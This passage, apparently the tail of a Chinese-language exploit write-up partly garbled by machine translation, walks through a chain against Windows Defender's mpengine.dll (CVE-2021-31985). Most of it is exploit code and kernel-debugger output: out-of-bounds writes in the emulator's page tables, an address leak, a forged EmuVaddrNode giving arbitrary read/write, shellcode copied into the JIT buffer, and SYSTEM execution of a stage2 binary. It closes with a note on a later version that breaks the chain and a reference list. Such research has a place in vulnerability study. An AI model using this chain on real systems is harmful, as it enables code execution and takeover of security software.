// 00000247`1aa546b6 00a1 00a3 00a4 0001 0001 0001 0001 0001
// [+] PEVAMap::Reserve(lpAddr ffd00000, lpEnd ffd10000, flProt 4)
buf_ptr = pfVirtualAlloc(0xFFD00000, 0x10000, 0x3000, PAGE_READWRITE);
// OP1.2 COMMIT 0xFFD00: merge [0xa2,0xa3) with [0xa3, 0xa4):
// 1: kd> dw 000002471aa41180+13536-10 l10
// 00000247`1aa546a6 0001 0001 0001 0001 0001 0001 0091 00a0
// 00000247`1aa546b6 00a1 00a2 00a4 0001 0001 0001 0001 0001
// 1: kd> dc 00000247`1a9f61f0+18*a2 l6
// 00000247`1a9f7120 1aab1180 00000247 000ffd00 0000003f
// 00000247`1a9f7130 02ff0000 0000ffff
buf_ptr = get_pivot(0x3030E, 1); // 0x7001352E
// =============================================
// pre-OP2: craft a1, a2, c8ae at pivot[-1,0,1]; size 0x3030e
// COMMIT FB016 between A1 (FB011) and A2 (FFD00): trigger shift_pages()
// 1: kd> dw 000002471aa41180+1352e-10 l10
// 00000247`1aa5469e 0001 0001 0001 0001 0001 0001 0001 00a1
// 00000247`1aa546ae 00a2 c8ae 0001 0001 0001 0001 0001 0001
// page 0xFFD00 was at index 0xA2, vaddr = base_70000 + 70000:
// 1: kd> dc 00000247`1a9f61f0+18*a2 l6
// 00000247`1a9f7120 1aab1180 00000247 000ffd00 0000803f
// 00000247`1a9f7130 02ff801a 0000ffff
// Version offset to leak an EmuVaddrNode idx 0x32A6:
// The base_7000 (+0x1000) is 0x4af90 (+0x1000) from EmuVaddrNode_list
// Hence we can leak the node with controlled base
buf_ptr = pfVirtualAlloc(0xFB016000, 0x1000, 0x1000, PAGE_READWRITE);
// 1: kd> dw 000002471aa41180+1352e-10 l10
// 00000247`1aa5469e 0001 0001 0001 0001 0001 0001 0001 00a1
// 00000247`1aa546ae 00a2 00a4 00a5 32a6 32a6 c8ae 0001 0001
// 1: kd> dd 000002471a9ed4b8+4*644 l1
// 00000247`1a9eedc8 00030312
// At this point, (insert_new_page+0x4fd)=>(shift_pages+0x118):
// EmuVaddrNode for FFD00 is written OOB at base_70000 + 0x1000:
// 1: kd> dc 000002471aa41180+1000 l6
// 00000247`1aa42180 1aab1180 00000247 000ffd00 0000803f
// 00000247`1aa42190 02ff801a 0000ffff
// where Vaddr = base_70000 + 0x70000, EmuPageNum = 0xFFD00
// EmuVaddrNode idx 0x32A6, *0x18 is 0x4BF90 = 0x330000 + 0x18F90
// Now we can leak Vaddr of node 0xFFD00 (idx 0x32A6) at qw_70001000
// 0x70000 (0x70 pages) more than base Vaddr of 70000 (idx 0x32)
LODWORD(leaked_idx0_base) = *(_DWORD *)(correction_0x0000 + 0x70001000);
HIDWORD(leaked_idx0_base) = dw_0x70001004;
// base Vaddr of pages are fixed distance apart
// base_40000 (idx 0) -> base_70000 (idx 0x32) -> base_FFD00 (idx 0xA2)
leaked_idx0_base -= curr_PgIdx << 12; // -= 0xA2000, idx 0 base, 0x40000
在步骤OP3到OP5 (分析省略)之后,在工作缓冲区中构建fakeEmuVaddrNode页面的对象。0x3FE83由于Vaddr可以在工作缓冲区内自由设置值,因此可以实现任意 R/W:
// =============================================
// fakeEmuVaddrNode: constructed in work_buf 0x70000000
// idxOffset: pageNum relative to 0x32 (work_buf 0x70000)
// pageOffset: address difference within page
// =============================================
idx_fakeEmuVaddrNode = (0x18 * (leaked_idx0_base & 0xFFF) - c_0x18F90 + 0x60000) >> 12;
pageOffset_Node = (0x18 * (leaked_idx0_base & 0xFFF) - c_0x18F90) & 0xFFF;// -0xB90
// equiv. idx 0x49, (0x49 - 0x32 + 0x70000) << 12 - 0xB90 = 0x70016470
fakeEmuVaddrNode = ((idx_fakeEmuVaddrNode - 0x32) << 12) + pageOffset_Node + 0x70000000;
// fakeEmuVaddrNode.EmuPageNum = 0x3FE83
fakeEmuVaddrNode[2] = 0x400FF - ((unsigned int)(c_0x73E0 - c_0x69F0) >> 2);
fakeEmuVaddrNode[3] = 0x803F; // EmuProtect
*(QWORD*)fakeEmuVaddrNode = leaked_idx0_base - 0x687B8;
JIT_pageNum_LW = *(_DWORD *)0x3FE83000; // read the LOWORD
// adjust Vaddr to JIT_buf + 0x18
// 0: kd> dq 000002471aa0f180 - 687B8
// 00000247`1a9a69c8 00000247`1ab10bd5 00000247`1ab10cb8
// 00000247`1a9a69d8 00000247`1ab10d60 00000247`12ca5705
// Extract the variable part: 0x1ab10000, add 0x18, write back to Vaddr
*fakeEmuVaddrNode = (JIT_pageNum_LW & 0xFFFFF000) + 0x18;
现在fakeEmuVaddrNode.Vaddr调整为指向JIT缓冲区中的返回代码路径,这可以用来将shellcode复制到JIT中,实现代码执行。
8.弹出系统外壳
通过fakeEmuVaddrNode指向JIT_buf + 0x18,现在可以通过模拟执行将 shellcode 复制到 JIT:
// R2: copy shellcode to Vaddr = qwo(idx0_base - 0x687B8) & ~0xFFFi64 + 0x18)
qmemcpy((void *)0x3FE83000, &shellcode_B100C000, 0x294u);
// 0: kd> u 247`1ab10000 l20
// 00000247`1ab10000 56 push rsi
// 00000247`1ab10001 57 push rdi
// 00000247`1ab10002 53 push rbx
// 00000247`1ab10003 55 push rbp
// 00000247`1ab10004 4154 push r12
// 00000247`1ab10006 4155 push r13
// 00000247`1ab10008 4883ec28 sub rsp,28h
// 00000247`1ab1000c 488be9 mov rbp,rcx
// 00000247`1ab1000f 488db188380000 lea rsi,[rcx+3888h]
// 00000247`1ab10016 ffe2 jmp rdx
// 00000247`1ab10018 4883c428 add rsp,28h
// 00000247`1ab1001c 415d pop r13
// 00000247`1ab1001e 415c pop r12
// 00000247`1ab10020 5d pop rbp
// 00000247`1ab10021 5b pop rbx
// 00000247`1ab10022 5f pop rdi
// 00000247`1ab10023 5e pop rsi
// 00000247`1ab10024 c3 ret
在准备部分,我们注意到可以在 中直接替换一个小于字节的自定义构建的stage2.exe,并以NT AUTHORITY\SYSTEM执行。0x10000dump.exe
临别言
虽然我们基于mpengine.dll 1.1.16400.2开发了 CVE-2021-31985 漏洞利用程序,但我们也在后来的易受攻击的mpengine.dll 1.1.18100.6版本上对其进行了测试,期望在最坏的情况下微调常量和偏移值。不幸的是,这种情况并非如此。
在上图中, mpengine.dll 1.1.16400EmuNodeIndex_list[]数组的顶部图示, OOBW3的主要机制依赖于破坏 index_list 的长度以获得额外的功能:
在工作缓冲区中制作格式错误的索引0x70000000(即:) base_70000。
使用精心制作的索引在超出范围的节点索引处为页面创建一个假EmuVaddrNode对象。0xFFD000x32A6
此后在 处泄漏Vaddr节点的基数0x70001000。
后续步骤OP3到OP5也取决于此设置。
然而,在底部插图mpengine.dll 1.1.18100中,可以观察到模拟器内存映射的整个布局从开始重新定位到数组base_40000的前面。此外,这两个列表的相对位置也交换了。在这个新布局中,破坏的长度字段不会产生任何操纵模拟器内存范围和. 这缓解了OOBW3,因此打破了mpengine.dll 1.1.18100中的利用链,即使OOBW1和OOBW2仍然有效。EmuVaddrNode_list[]EmuNodeIndex_list[]index_listnode_list
参考(文中相关的[1]/[2]/[3]/[4]就是以下参考内容)
[ 1 ]Tavis Ormandy (@taviso),第 2189 期:mpengine:asprotect 嵌入式运行时 dll 内存损坏
https://bugs.chromium.org/p/project-zero/issues/detail?id=2189
[ 2 ]Alexei Bulazel (@0xAlexei),Windows Offender:逆向工程 Windows Defender 的防病毒模拟器
https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf
[ 3 ]Tavis Ormandy (@taviso),将 Windows 动态链接库移植到 Linux
https://github.com/taviso/loadlibrary
[ 4 ]Windows Defender CVE-2021-1647 ITW 样本,Windows Defender CVE-2021-1647 ITW 样本
https://www.virustotal.com/gui/file/6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788/detection
[ 5 ]ThreatBook(anquanke),CVE-2021-1647漏洞利用技术分析
https://www.anquanke.com/post/id/231625
[ 7 ]Maddie Stone (@maddiestone),CVE-2021-1647:Windows Defender mpengine 远程代码执行
https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1647.html
[ 8 ]Windows Defender CVE-2021-1647 公开样本,Windows Defender CVE-2021-1647 公开样本
https://github.com/findcool/cve-2021-1647